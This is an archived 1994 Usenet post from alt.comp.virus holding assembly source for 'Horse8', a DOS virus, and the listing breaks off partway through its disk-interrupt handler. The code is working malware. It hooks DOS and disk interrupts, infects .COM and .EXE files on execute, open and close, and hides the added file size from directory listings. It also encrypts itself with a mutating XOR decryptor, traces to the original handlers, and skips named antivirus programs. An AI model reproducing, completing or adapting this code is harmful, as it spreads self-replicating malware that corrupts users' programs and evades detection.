home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HORSE8.ZIP / horse8.asm
Assembly Source File  |  1994-11-29  |  22KB  |  1,384 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:55:14 1994
  2. Xref: netcom.com alt.comp.virus:490
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
  4. From: clair@myhost.subdomain.domain (The Clairvoyant)
  5. Newsgroups: alt.comp.virus
  6. Subject: Horse8
  7. Date: 28 Nov 1994 08:28:59 GMT
  8. Organization: String to put in the Organization Header
  9. Lines: 1369
  10. Message-ID: <3bc4cb$mjc@gaia.ucs.orst.edu>
  11. NNTP-Posting-Host: tempest.rhn.orst.edu
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.  
  15. B
  16.  
  17.         .radix  16
  18.  
  19.     sub    bl,bl
  20.     mov    cx,offset msg-calldos-2
  21.     mov    si,offset calldos
  22.     cld
  23. lpp:
  24.     lodsb
  25.     xor    bl,al
  26.     loop    lpp
  27.     mov    byte ptr [checksum],bl
  28.  
  29.     mov    bp,offset adjust
  30.     call    install1
  31.     mov    dx,offset Hellomsg
  32.     mov    ah,9
  33.     int    21
  34.     int    20
  35.  
  36. Hellomsg db    0a,0dh,'OK friend...',0a,0dh,'$'
  37.  
  38.     Virus_lenght    equ    endcode-adjust
  39.     alllen        equ    buffer-adjust
  40.  
  41.     adjust    label word
  42.  
  43.     new_addr    dd    0
  44. last:
  45.     my_count    dw    0
  46.  
  47.     checksum    db    0
  48.  
  49. ;*******************************************************************
  50. ;                                                                  *
  51. ;                  This is the program entry....                   *
  52. ;                                                                  *
  53. ;*******************************************************************
  54.  
  55. Start_Virus:
  56.  
  57. First_instr label word
  58.  
  59. old    label    dword    ;
  60.  
  61.     cli
  62.     push    ax
  63.  
  64.         call    nextline
  65.  
  66. nextline:
  67.  
  68. popreg    label byte
  69.  
  70.  
  71.     db    01011000b ;pop reg
  72.  
  73. pushreg label byte
  74.  
  75.     db    01010000b ;push reg
  76. f_g:
  77.  
  78.     db    10000001b ;add reg,value
  79.  
  80. addtoreg  label byte
  81.  
  82.     db    11000000b ;reg
  83.  
  84.     dw    offset codedstart-nextline ;value
  85.  
  86. loadcount label byte
  87.  
  88.     db    10111000b ;mov  reg,value
  89.     dw    offset endcode-Start_Virus    ;value
  90.  
  91. where:
  92.  
  93. decode:
  94.  
  95.     db    002e    ;xor byte ptr cs:[reg+0],value
  96.     db    10000000b
  97.  
  98. xorreg   label byte
  99.  
  100.     db    70
  101.  
  102. B
  103.     db    00
  104.  
  105. xorvalue label byte
  106.  
  107.     db    00
  108.  
  109. incmain  label byte
  110.  
  111.     db    01000000b ;inc reg
  112.  
  113. deccount label byte
  114.  
  115.     db    01001000b ;dec reg
  116.  
  117.     jnz    decode
  118.  
  119. codedstart:
  120.  
  121.     pop    bp
  122.  
  123.     jmp    codedstart1
  124.  
  125. ;**************************************************
  126. ;       call    next                              *
  127. ;next:                                            *
  128. ;       pop     *reg*                             *
  129. ;       push    *reg*                             *
  130. ;       add     *reg*,codestart-nextline          *
  131. ;       mov     *countreg*,endcode-codedstart     *
  132. ;decode:                                          *
  133. ;       xor     byte ptr cs:[*reg*+0],xorvalue    *
  134. ;       inc     *reg*                             *
  135. ;       dec     *countreg*                        *
  136. ;       jnz     decode                            *
  137. ;                                                 *
  138. ; *reg*=index register,*countreg*=register        *
  139. ;**************************************************
  140.  
  141. calldos:
  142.  
  143.     pushf
  144.     call    dword ptr cs:[old-adjust]
  145.         ret
  146.  
  147.  
  148. give_him:
  149.  
  150.     push    bp
  151. :    mov    bp,sp
  152.     push    ax
  153.     push    si        ;you can't use this function illegally...
  154.     push    ds
  155.     lds    si,[bp+2]
  156.     lodsw
  157.     sub    ax,0C008
  158.     jz    me
  159.     cli
  160.     hlt
  161. me:
  162.     pop    ds
  163.     pop    si
  164.     pop    ax
  165.     pop    bp
  166.  
  167.     cmp    byte ptr cs:[last-adjust],0FF ;Already got?
  168.     je    gotten
  169.     cmp    byte ptr cs:[f_g-adjust],0FF
  170.     jne    gotten
  171. all_ok:
  172.     mov    es,word ptr cs:[where-adjust]
  173.     mov    byte ptr cs:[last-adjust],0FF
  174.     iret
  175.  
  176. go_out2:
  177.     jmp    out
  178.  
  179. gotten:
  180.     xchg    ah,al
  181.     iret
  182.  
  183. FF_old1:
  184.     call    calldos
  185.     jmp    FF_old
  186.  
  187. FF_new1:
  188.     call    calldos
  189.     jmp    FF_new
  190.  
  191.  
  192. res:
  193.     cmp    ax,0FA01h
  194.     je    give_him
  195.  
  196.     cmp    ah,11
  197.     je    FF_old1
  198.     cmp    ah,12
  199.     je    FF_old1
  200.     cmp    ah,4e
  201.     je    FF_new1
  202.     cmp    ah,4f
  203.     je    FF_new1
  204.     cmp    ax,4b00
  205.     jne    go_out2
  206.     cmp    byte ptr cs:[f_g-adjust],0FF
  207.     je    go_out2
  208.     push    ax
  209.         push    bx
  210.     push    cx
  211.     push    dx
  212.     push    si
  213.     push    di
  214.     push    ds
  215.     push    es
  216.  
  217.     push    ds
  218.         mov     ah,62
  219.         call    calldos
  220.         mov     ds,bx
  221.         cmp     bx,[16]
  222.     pop    ds
  223.         jne     notthis
  224.  
  225.     call    get
  226.     mov    bx,word ptr cs:[last-adjust]
  227.     mov    ds,bx
  228.     cmp    [0001],bx
  229.     jb    notthis
  230.     inc    bx
  231.     push    word ptr [0001]
  232.     mov    es,bx
  233.     mov    bx,[0003]
  234.     add    bx,130
  235.     mov    ah,4ah
  236.     call    calldos
  237.     pop    word ptr [0001]
  238.     jnc    allok
  239. notthis:
  240.     jmp    notnow
  241. allok:
  242.     mov    byte ptr cs:[f_g-adjust],0FF
  243.     lds    si,cs:[new_addr-adjust]
  244.     add    si,offset calldos-adjust
  245.     sub    bl,bl
  246.     mov    cx,offset msg-calldos-2
  247.     cld
  248. check:
  249.     lodsb
  250.     xor    bl,al
  251.     loop    check
  252.     cmp    bl,byte ptr cs:[checksum-adjust]
  253.     jne    notnow
  254.     mov    ax,0FA01
  255.     int    21
  256.     or    al,al
  257.     sub    di,di
  258.     lds    si,cs:[new_addr-adjust]
  259.     mov    cx,Virus_lenght
  260.         push    cx
  261.         push    si
  262.         push    ds
  263.     rep    movsb
  264.     mov    bx,es
  265.         pop     es
  266.         pop     di
  267.         pop     cx
  268.         sub     al,al
  269.         rep     stosb
  270.     push    cs
  271.     mov    ax,offset notnow2-adjust
  272.     push    ax
  273.     push    bx
  274.     mov    ax,offset Set_Vectors-adjust
  275.     push    ax
  276.     retf
  277.  
  278. notnow2:
  279.     pop    es
  280.     pop    ds
  281.     pop    di
  282.     pop    si
  283.     pop    dx
  284.     pop    cx
  285.         pop     bx
  286.     pop    ax
  287.     int    21
  288.     db    0ca,2,0 ;retf 2
  289.  
  290. notnow:
  291.     pop    es
  292.     pop    ds
  293.     pop    di
  294.     pop    si
  295.     pop    dx
  296.     pop    cx
  297.         pop     bx
  298.     pop    ax
  299.  
  300. out:
  301.     jmp    dword ptr cs:[old-adjust]
  302.  
  303. get:
  304.     push    bx
  305.     push    ds
  306.     push    es
  307.  
  308.         mov     ah,52h
  309.     call    calldos
  310.         mov     bx,es:[bx-02]
  311. search:
  312.         mov     ds,bx
  313.     inc    bx
  314.         add     bx,[0003]
  315.     mov    es,bx
  316.         cmp     byte ptr es:[0000],'Z'
  317.     jne    search
  318.  
  319.     mov    word ptr cs:[last-adjust],ds
  320.     mov    word ptr cs:[where-adjust],bx
  321.  
  322.     pop    es
  323.     pop    ds
  324.     pop    bx
  325.     ret
  326.  
  327. FF_old:
  328.     push    ax
  329.     push    bx
  330.     push    dx
  331.     push    es
  332.  
  333.     or    al,al
  334.     jnz    Go_Out_ ;if error
  335.  
  336.     mov    ah,2f                ;get DTA address
  337.     call    calldos
  338.  
  339.     cmp    byte ptr es:[bx],0ff
  340.     jne    standart
  341.     add    bx,7
  342.  
  343. standart:
  344.     mov    al,byte ptr es:[bx+30d-7] ;Seconds in al
  345.     and    al,31d            ;Mask seconds
  346.     cmp    al,60d/2            ;Seconds=60?
  347.     jne    Go_Out_
  348.     and    byte ptr es:[bx+30d-7],11100000b
  349.     mov    ax,es:[bx+36d-7]
  350.     mov    dx,es:[bx+38d-7]        ;Check File size
  351.     sub    ax,Virus_lenght
  352.     sbb    dx,0
  353.     jb    Go_Out_
  354.  
  355.  
  356. Adjust_Size:
  357.  
  358.     mov    es:[bx+28d+1],ax
  359.     mov    es:[bx+28d+2+1],dx
  360.  
  361. Go_Out_:
  362.  
  363.     pop    es            ;Return to caller
  364.     pop    dx
  365.     pop    bx
  366.     pop    ax
  367.     iret
  368.  
  369. FF_new:
  370.     pushf
  371.     push    ax
  372.     push    bx
  373.     push    dx            ;fuck again
  374.     push    es
  375.     jc    Go_Out_1
  376.  
  377.     mov    ah,2f
  378.     call    calldos
  379.  
  380.     mov    al,es:[bx+22d]
  381.     and    al,31d
  382.     cmp    al,60d/2
  383.     jne    Go_Out_1
  384.         and     byte ptr es:[bx+22d],11100000b
  385.     mov    ax,es:[bx+26d]
  386.     mov    dx,es:[bx+28d]
  387.     sub    ax,Virus_lenght
  388.     sbb    dx,0
  389.     jb    Go_Out_1
  390.  
  391. Adjust_Size1:
  392.  
  393.     mov    es:[bx+26d],ax
  394.     mov    es:[bx+28d],dx
  395.  
  396. Go_Out_1:
  397.  
  398.     pop    es
  399.     pop    dx
  400.     pop    bx
  401.     pop    ax            ; Dummy proc far
  402.     popf                ; ret   2
  403.     db    0ca,2,0 ;retf 2         ; Dummy endp =>  BUT too long...
  404.  
  405. endinst label word
  406.  
  407. codedstart1:
  408.  
  409.     sti
  410.     pop    ax
  411.  
  412. install:
  413.  
  414.     sub    bp,offset nextline-adjust
  415.  
  416. install1:
  417.  
  418.     cld                    ;Clear direction flag
  419.     push    ax                ;Save some registres
  420.     push    es
  421.     push    ds
  422.  
  423.     mov    ax,0FA01
  424.     int    21
  425.     or    al,al
  426.     jz    do_dob
  427.     jmp    install_ok
  428. do_dob:
  429.     push    es
  430.     pop    ds
  431.     mov    ax,[0002]
  432.     mov    cx,1000
  433.     sub    ax,cx
  434.     mov    es,ax
  435.     sub    di,di
  436.     call    SearchZero
  437.     jc    Dont_copy
  438.     mov    si,bp
  439.     mov    cx,alllen
  440.     db    2e
  441.     rep    movsb
  442.  
  443. Dont_copy:
  444.  
  445.     sub    ax,ax
  446.     mov    ds,ax
  447.     mov    ax,[21*4]
  448.     mov    word ptr cs:[bp+old-adjust],ax
  449.     mov    ax,[21*4+2]
  450.     mov    word ptr cs:[bp+old-adjust+2],ax
  451.     mov    ah,52
  452.     int    21
  453.     push    es
  454.     mov    es,es:[bx+14]
  455.     push    es:[2]
  456.     sub    di,di
  457.     mov    si,bp
  458.     mov    cx,endinst-adjust
  459.     db    2e
  460.     rep    movsb
  461.     pop    ax
  462.     pop    ds
  463.     mov    [bx+14],ax
  464.     mov    ds,cx
  465.     mov    [21*4],offset res-adjust
  466.     mov    [21*4+2],es
  467.     jcxz    Run_The_Program
  468.  
  469. install_ok:
  470.  
  471.     cmp    ax,01FAh
  472.     je    Run_The_Program
  473.     mov    word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
  474.     mov    si,bp
  475.     sub    di,di
  476.     mov    cx,alllen
  477.     db    2e
  478.     rep    movsb
  479.     push    cs
  480.     mov    ax,Run_The_Program-adjust
  481.     add    ax,bp
  482.     push    ax
  483.     push    es
  484.     mov    ax,offset Set_Vectors-adjust    ;Set vectors
  485.     push    ax
  486.     retf
  487.  
  488. SearchZero:
  489.  
  490.     sub    ax,ax
  491. Again:
  492.     inc    di
  493.     push    cx
  494.     push    di
  495.     mov    cx,alllen
  496.     repe    scasb
  497.     pop    di
  498.     jz    FoundPlace
  499.     pop    cx
  500.     loop    Again
  501.     stc
  502.     ret
  503.  
  504. FoundPlace:
  505.  
  506.     pop    cx
  507.     mov    word ptr cs:[bp+new_addr-adjust],di
  508.     mov    word ptr cs:[bp+new_addr-adjust+2],es
  509.     clc
  510.     ret
  511.  
  512. Run_The_Program:
  513.  
  514.     add    bp,offset First_18-adjust
  515.     pop    ds                ;Restore saved ds,es,ax
  516.     pop    es                ;ds=es=PSP
  517.     pop    ax
  518.     mov    ax,'ZM'
  519.     cmp    cs:[bp],ax    ;Run the infected program
  520.     je    run_exe
  521.     xchg    ah,al
  522.     cmp    cs:[bp],ax
  523.     je    run_exe
  524.     jne    Run_COM_File
  525. run_exe:
  526.     mov    cx,ds                ;Calculate load segment
  527.     add    cx,0010
  528.     mov    bx,cx
  529.     add    cx,cs:[bp+16]    ;Calculate CS value
  530.     add    bx,cs:[bp+0e]    ;Calculate SS value
  531.     mov    ss,bx                ;Run .EXE program
  532.     mov    sp,word ptr cs:[bp+10]
  533.     push    cx
  534.     push    word ptr cs:[bp+14]
  535.     retf
  536.  
  537. Run_COM_File:
  538.  
  539.     mov    di,0100
  540.     push    di
  541.     mov    si,bp
  542.     movsb                    ;Restore the first 3 bytes
  543.     movsw                    ;Run .COM program
  544.     ret
  545.  
  546.     db    'î¡«ú« ▒¼Ñ!'
  547.  
  548. INT_21h_Entry_Point:
  549.  
  550.     cmp    ah,3ch            ;Create (3.X)
  551.     je    create
  552.     cmp    ah,5bh
  553.     je    create
  554.  
  555.     cmp    ah,6ch
  556.     jne    not_create        ;Create (4.X)
  557.     test    bl,1
  558.     jz    not_create
  559.     jnz    create
  560.  
  561. not_create:
  562.  
  563.     call    pusha
  564.  
  565.     mov    byte ptr cs:[function-adjust],ah
  566.  
  567.     cmp    ah,6ch        ;Open (4.X)
  568.     je    create_
  569.  
  570.     cmp    ah,3dh
  571.     je    Function_4Bh
  572.  
  573.     cmp    ah,3e        ;Close
  574.     je    close_
  575.  
  576.     cmp    ax,4b00 ;Exec
  577.     je    Function_4Bh
  578.  
  579. Return_Control:
  580.  
  581.     call    popa
  582.  
  583. Go_out:
  584.     jmp    dword ptr cs:[current_21h-adjust]    ;go to the old int 21
  585.  
  586. create_:
  587.  
  588.     or    bl,bl        ;Create file?
  589.     jnz    Return_Control
  590.     mov    dx,si
  591.  
  592. Function_4Bh:
  593.  
  594.     mov    ax,3d00h
  595.     call    Infect_It
  596.     jmp    Return_Control
  597.  
  598. create:
  599.         cmp     word ptr cs:[handle-adjust],0ffff
  600.         jne     Go_out
  601.     call    Call_Original_INT_21h
  602.     mov    word ptr cs:[handle-adjust],ax
  603.     jnc    Error
  604.     mov    word ptr cs:[handle-adjust],0ffff
  605. Error:
  606. ;       retf    2
  607.     db 0ca,2,0
  608.  
  609. close_:
  610.     cmp    word ptr cs:[handle-adjust],0ffff
  611.     je    Return_Control
  612.     cmp    bx,word ptr cs:[handle-adjust]
  613.     jne    Return_Control
  614.     mov    ah,45
  615.     call    Infect_It
  616.     mov    word ptr cs:[handle-adjust],0ffff
  617.     jmp    Return_Control
  618.  
  619.     ;******************************************
  620.     ;                                         *
  621.     ;       This infects the programs...      *
  622.     ;                                         *
  623.     ;******************************************
  624.  
  625. Infect_It:
  626.  
  627.     call    Call_Original_INT_21h        ;this is the infecting part
  628.     jnc    No_error
  629.     ret
  630.  
  631. No_error:
  632.  
  633.     xchg    ax,bp
  634.  
  635.     mov    ax,0200
  636.     push    ax
  637.     popf
  638.  
  639.     mov    byte ptr cs:[flag-adjust],0
  640.  
  641.     mov    ah,54
  642.     call    Call_Original_INT_21h
  643.     mov    byte ptr cs:[veri-adjust],al
  644.     cmp    al,1                ;Switch off verify...
  645.     jne    Go_On_Setting
  646.     mov    ax,2e00
  647.     call    Call_Original_INT_21h
  648.  
  649. Go_On_Setting:
  650.  
  651.  
  652.     mov    ax,3513
  653.     call    Call_Original_INT_21h
  654.     push    bx
  655.     push    es
  656.  
  657.     mov    word ptr cs:[current_13h-adjust],bx
  658.     mov    word ptr cs:[current_13h-adjust+2],es
  659.  
  660.     mov    ah,25
  661.     mov    dx,INT_13h_entry-adjust ;Set int 13h
  662.     push    cs
  663.     pop    ds
  664.     call    Call_Original_INT_21h
  665.  
  666.     mov    ax,3524
  667.     call    Call_Original_INT_21h
  668.     push    bx
  669.     push    es
  670.  
  671.     mov    ah,25
  672.     mov    dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
  673.     call    Call_Original_INT_21h
  674.  
  675.     push    cs
  676.     push    cs
  677.     pop    ds
  678.     pop    es
  679.     mov    dx,offset DOS_13h-adjust
  680.     mov    bx,dx            ;Set New DOS int 13h
  681.     mov    ah,13
  682.     call    Call_Original_INT_2Fh
  683.  
  684.     push    bx
  685.     push    es
  686.     push    dx
  687.     push    ds
  688.  
  689.     push    cs
  690.     pop    ds
  691.  
  692.     xchg    bx,bp
  693.     push    bx
  694.     mov    ax,1220
  695.     call    Call_Original_INT_2Fh
  696.     mov    bl,es:[di]        ;Remember the good old V512 ?
  697.     mov    ax,1216
  698.     call    Call_Original_INT_2Fh
  699.     pop    bx
  700.     add    di,11
  701.  
  702.     mov    byte ptr es:[di-15d],2
  703.     mov    ax,es:[di]
  704.     mov    dx,es:[di+2]
  705.     cmp    ax,3000d
  706.     sbb    dx,0
  707.     jb    Not_good
  708. Go_on:
  709.     cmp    byte ptr cs:[function-adjust],3dh
  710.     je    Scan_name
  711.     cmp    byte ptr cs:[function-adjust],6ch
  712.     jne    Dont_Scan_Name
  713.  
  714. Scan_name:
  715.  
  716.     push    di
  717.     add    di,0f
  718.     mov    si,offset fname-adjust    ;wasn't that the last opened file?
  719.     cld
  720.     mov    cx,8+3
  721.     rep    cmpsb
  722.     pop    di
  723.     je    Not_good
  724.  
  725. Dont_Scan_Name:
  726.  
  727.     cmp    es:[di+18],'MO'
  728.     jne    Check_For_EXE            ;check for .COM file
  729.     cmp    byte ptr es:[di+17],'C'
  730.     jne    Check_For_EXE
  731.     jmp    com
  732.  
  733. Check_For_EXE:
  734.  
  735.     cmp    es:[di+18],'EX'
  736.     jne    Not_good            ;check for .EXE file
  737.     cmp    byte ptr es:[di+17],'E'
  738.     je    Check_For_Valid_EXE
  739.  
  740. Not_good:
  741.  
  742.     jmp    close
  743.  
  744. Check_For_Valid_EXE:
  745.  
  746.     call    Read_First_18
  747.     cmp    word ptr [si],'ZM'
  748.     je    Valid_EXE            ;check for valid .EXE file
  749.     cmp    word ptr [si],'MZ'
  750.     jne    Not_good
  751.  
  752.  Valid_EXE:
  753.  
  754.     cmp    byte ptr es:[di+0f],'M' ;MAPMEM
  755.     je    Not_good
  756.     cmp    es:[di+0f],'RT'     ;TRAPFILE
  757.     je    Not_good
  758.     cmp    es:[di+0f],'CS' ;SCAN.EXE
  759.     jne    go_on_a
  760.     cmp    es:[di+11],'NA'
  761.     je    Not_good
  762. go_on_a:
  763.     cmp    es:[di+0f],'NA' ;ANTI****.*EXE
  764.     jne    go_on_b
  765.     cmp    es:[di+11],'IT'
  766.     je    Not_good
  767. go_on_b:
  768.     cmp    es:[di+0f],'LC' ;CLEANNEW.EXE
  769.     jne    low_mem?
  770.     cmp    es:[di+11],'AE'
  771.     je    Not_good
  772.  
  773. Low_mem?:
  774.     cmp    word ptr [si+0c],0ffff    ;only low-mem .EXE
  775.     jne    Not_good
  776.  
  777. Low_Mem:
  778.  
  779.     mov    cx,[si+16]
  780.     add    cx,[si+8]            ;Something common with EDDIE..
  781.     mov    ax,10
  782.     mul    cx
  783.     add    ax,[si+14]
  784.     adc    dx,0
  785.     mov    cx,es:[di]
  786.     sub    cx,ax
  787.     xchg    ax,cx
  788.     mov    cx,es:[di+2]
  789.     sbb    cx,dx
  790.     or    cx,cx
  791.     jnz    Not_Infected_EXE            ;infected?
  792.     cmp    ax,(endcode-Start_Virus)
  793.     jbe    Not_good
  794.  
  795. Not_Infected_EXE:
  796.  
  797.     mov    ax,es:[di]
  798.     mov    dx,es:[di+2]
  799.  
  800.     add    ax,Virus_lenght
  801.     adc    dx,0
  802.     mov    cx,200                    ;(C) by Lubo & Jan...
  803.     div    cx
  804.     mov    [si+2],dx
  805.     or    dx,dx
  806.     jz    OK_MOD
  807.     inc    ax
  808.  
  809. OK_MOD:
  810.     mov    [si+4],ax
  811.     mov    ax,es:[di]
  812.     mov    dx,es:[di+2]
  813.  
  814.     mov    cx,10
  815.     div    cx
  816.  
  817.     sub    ax,[si+8]
  818.     add    dx,Start_Virus-adjust
  819.     adc    ax,0
  820.     mov    [si+14],dx
  821.     mov    [si+16],ax
  822.     add    ax,(Virus_lenght)/16d+1
  823.     mov    [si+0eh],ax
  824.     mov    [si+10],100
  825.  write:
  826.     mov    ax,5700
  827.     call    Call_Original_INT_21h
  828.     push    cx
  829.     push    dx
  830.  
  831.     sub    cx,cx
  832.     mov    es:[di+4],cx
  833.     mov    es:[di+6],cx
  834.     mov    cl,20
  835.     xchg    cl,byte ptr es:[di-0dh]
  836.     push    cx
  837.     mov    ah,40    ;this writes the first few bytes and glues the virus
  838.     mov    dx,buffer-adjust
  839.     mov    cx,18
  840.  
  841.     call    Call_Original_INT_21h
  842.  
  843.     call    make_mutation
  844.  
  845.     push    es
  846.     push    di
  847.     push    cs
  848.     pop    es
  849.     mov    di,si
  850.     sub    si,si
  851.     mov    cx,Virus_lenght
  852.     push    di
  853.     rep    movsb
  854.     pop    di
  855.     add    di,offset codedstart-adjust
  856.     mov    al,byte ptr [xorvalue-adjust]
  857.     mov    cx,offset endcode-codedstart
  858.  
  859. codeit:
  860.     xor    byte ptr [di],al
  861.     inc    di
  862.     loop    codeit
  863.  
  864.     pop    di
  865.     pop    es
  866.  
  867.     inc    word ptr [my_count-adjust]
  868.  
  869.     mov    ax,es:[di]
  870.     mov    es:[di+4],ax
  871.     mov    ax,es:[di+2]
  872.     mov    es:[di+6],ax
  873.     call    Check_For_COMMAND    ;(C)
  874.     jne    Dont_Adjust_Size
  875.     sub    es:[di+4],Virus_lenght
  876.  
  877. Dont_Adjust_Size:
  878.  
  879.     mov    ah,40
  880.     mov    dx,offset buffer-adjust
  881.     mov    cx,Virus_lenght
  882.     call    Call_Original_INT_21h
  883.  
  884.     pop    cx
  885.     mov    byte ptr es:[di-0dh],cl
  886.     pop    dx
  887.     pop    cx
  888.  
  889.     cmp    byte ptr cs:[flag-adjust],0ff
  890.     je    Set_Time_and_Date
  891. exit:
  892.     call    Check_For_COMMAND
  893.     je    Set_Time_and_Date
  894.     and    cl,11100000b
  895.     or    cl,60d/2
  896.  
  897. Set_Time_and_Date:
  898.  
  899.     mov    ax,5701
  900.     call    Call_Original_INT_21h
  901. close:
  902.  
  903.     mov    ah,3e
  904.     call    Call_Original_INT_21h
  905.     mov    si,di
  906.     add    si,0f
  907.     mov    di,fname-adjust
  908.     push    es
  909.     pop    ds
  910.     push    cs
  911.     pop    es
  912.     mov    cx,8+3        ;save the fname to a quit place
  913.     rep    movsb
  914.     push    cs
  915.     pop    ds
  916.  
  917.     cmp    byte ptr cs:[flag-adjust],0ff
  918.     jne    Dont_Clear_Buffers
  919.     mov    ah,0dh            ;if error occured-clear disk buffers
  920.  
  921.     call    Call_Original_INT_21h
  922.  
  923. Dont_Clear_Buffers:
  924.  
  925.     cmp    byte ptr cs:[veri-adjust],1
  926.     jne    Restore_Vectors
  927.     mov    ax,2e01
  928.  
  929.     call    Call_Original_INT_21h
  930.  
  931. Restore_Vectors:
  932.  
  933.  
  934.     pop    ds
  935.     pop    dx
  936.     pop    es
  937.     pop    bx
  938.  
  939.     mov    ah,13
  940.     call    Call_Original_INT_2Fh
  941.  
  942.     sub    ax,ax
  943.     mov    ds,ax
  944.     pop    [24*4+2]
  945.     pop    [24*4]
  946.     pop    [13*4+2]
  947.     pop    [13*4]        ;restore vectors and return
  948.     ret
  949.  
  950.  com:
  951.     test    byte ptr es:[di-0dh],4    ;if it is a system file
  952.     jnz    Not_OK_COM_File ;I had some problems here with
  953.                                         ;V1160 & V1776 (with the ball)
  954.     cmp    es:[di],65535d-Virus_lenght*2-100
  955.     ja    Not_OK_COM_File
  956.  
  957.     cmp    es:[di+0f],'RT' ;TRAPFILE
  958.     je    Not_OK_COM_File
  959.     cmp    byte ptr es:[di+0f],'M' ;MV.COM
  960.     je    Not_OK_COM_File
  961.  
  962.     call    Read_First_18
  963.     mov    ax,[si+10]    ;CHECK IF THAT'S A TRAP FILE
  964.     cmp    ax,[si+12]
  965.     je    Not_OK_COM_File
  966.     cmp    byte ptr [si],0E9
  967.     jne    OK_COM_file
  968.     mov    ax,es:[di]
  969.         sub     ax,[si+1]               ;infected?
  970.     cmp    ax,(endcode-Start_Virus+3)
  971.     jbe    Not_OK_COM_File
  972.  
  973. OK_COM_file:
  974.  
  975.     mov    ax,es:[di]
  976.     add    ax,Start_Virus-adjust-3
  977.     call    Check_For_COMMAND
  978.     jne    Normally
  979.     sub    ax,Virus_lenght
  980.  
  981. Normally:
  982.  
  983.     mov    byte ptr [si],0E9
  984.     mov    word ptr [si+1],ax
  985.     jmp    write
  986.  
  987. Not_OK_COM_File:
  988.  
  989.     jmp    close
  990.  
  991. Set_Vectors:
  992.  
  993.     sub    ax,ax
  994.     mov    ds,ax
  995.  
  996.     push    [1*4]
  997.     push    [1*4+2] ; <= (C) by N.Hacker.
  998.  
  999.     pushf
  1000.     pushf
  1001.     pushf
  1002.     pushf
  1003.  
  1004.     mov    byte ptr cs:[flag-adjust],ah
  1005.     mov    byte ptr cs:[my_flag-adjust],ah
  1006.     mov    word ptr cs:[limit-adjust],300
  1007.     mov    word ptr cs:[mem_-adjust],org_21h-adjust
  1008.  
  1009.     mov    [1*4],offset trap-adjust
  1010.     mov    [1*4+2],cs
  1011.  
  1012.     call    set_trace
  1013.  
  1014.     mov    ax,3521
  1015.  
  1016.     call    dword ptr [21h*4]
  1017.  
  1018.     mov    word ptr cs:[current_21h-adjust],bx    ;get old int 21
  1019.     mov    word ptr cs:[current_21h-adjust+2],es
  1020.  
  1021.     mov    byte ptr cs:[flag-adjust],0
  1022.     mov    word ptr cs:[mem_-adjust],org_2fh-adjust
  1023.  
  1024.     call    set_trace
  1025.  
  1026.     mov    ax,1200
  1027.  
  1028.     call    dword ptr [2fh*4]        ;do trace int 2f
  1029.  
  1030.  
  1031.     mov    byte ptr cs:[flag-adjust],0
  1032.     mov    byte ptr cs:[my_flag-adjust],0FF
  1033.     mov    word ptr cs:[limit-adjust],0C800
  1034.     mov    word ptr cs:[mem_-adjust],org_13h-adjust
  1035.  
  1036.     call    set_trace
  1037.  
  1038.     sub    ah,ah
  1039.  
  1040.     call    dword ptr [13h*4]    ;do trace int 13
  1041.  
  1042.     mov    byte ptr cs:[flag-adjust],0
  1043.     mov    word ptr cs:[limit-adjust],0F000
  1044.     mov    word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
  1045.  
  1046.     call    set_trace
  1047.  
  1048.     sub    ah,ah
  1049.  
  1050.     call    dword ptr [13h*4]
  1051.  
  1052.     pop    [1*4+2]
  1053.     pop    [1*4]
  1054.  
  1055.     mov    [21*4],offset INT_21h_Entry_Point-adjust        ;set it
  1056.     mov    [21*4+2],cs
  1057.  
  1058.     retf
  1059.  
  1060. set_trace:
  1061.  
  1062.     pushf
  1063.     pop    ax
  1064.     or    ax,100
  1065.     push    ax
  1066.     popf
  1067.     ret
  1068.  
  1069. trap:
  1070.     push    bp
  1071.     mov    bp,sp
  1072.     push    bx
  1073.     push    di
  1074.     cmp    byte ptr cs:[flag-adjust],0ff
  1075.     je    off
  1076.     mov    di,word ptr cs:[mem_-adjust]
  1077.     mov    bx,word ptr cs:[limit-adjust]
  1078.     cmp    [bp+4],bx
  1079.     pushf
  1080.     cmp    byte ptr cs:[my_flag-adjust],0ff
  1081.     jne    It_Is_JA
  1082.  
  1083.     popf
  1084.     jb    Go_out_of_trap
  1085.     jmp    It_Is_JB
  1086.  
  1087. It_Is_JA:
  1088.  
  1089.     popf
  1090.     ja    Go_out_of_trap
  1091.  
  1092. It_Is_JB:
  1093.  
  1094.     mov    bx,[bp+2]
  1095.     mov    word ptr cs:[di],bx
  1096.     mov    bx,[bp+4]
  1097.     mov    word ptr cs:[di+2],bx
  1098.     mov    byte ptr cs:[flag-adjust],0ff
  1099. off:
  1100.     and    [bp+6],0feff
  1101.  
  1102. Go_out_of_trap:
  1103.  
  1104.     pop    di
  1105.     pop    bx
  1106.     pop    bp
  1107.     iret
  1108.  
  1109.  
  1110. Call_Original_INT_21h:
  1111.  
  1112.     pushf
  1113.     call    dword ptr cs:[org_21h-adjust]
  1114.     ret
  1115.  
  1116.  
  1117.  
  1118. Call_Original_INT_2Fh:
  1119.  
  1120.     pushf
  1121.     call    dword ptr cs:[org_2fh-adjust]
  1122.     ret
  1123.  
  1124. INT_24h_entry:
  1125.  
  1126.     mov    al,3
  1127.     iret
  1128.  
  1129. ;**************************
  1130. ;    (C) by N.Hacker.     *
  1131. ;      (bellow)           *
  1132. ;**************************
  1133.  
  1134. INT_13h_entry:
  1135.  
  1136.     mov    byte ptr cs:[next_flag-adjust],0
  1137.  
  1138.     cmp    ah,2
  1139.     jne    Other
  1140.  
  1141.     cmp    byte ptr cs:[function-adjust],03Eh
  1142.     jne    Dont_hide
  1143.  
  1144.     dec    byte ptr cs:[next_flag-adjust]
  1145.     inc    ah
  1146.     jnz    Dont_hide
  1147.  
  1148. Other:
  1149.  
  1150.     cmp    ah,3
  1151.     jne    Dont_hide
  1152.  
  1153.     cmp    byte ptr cs:[flag-adjust],0ff
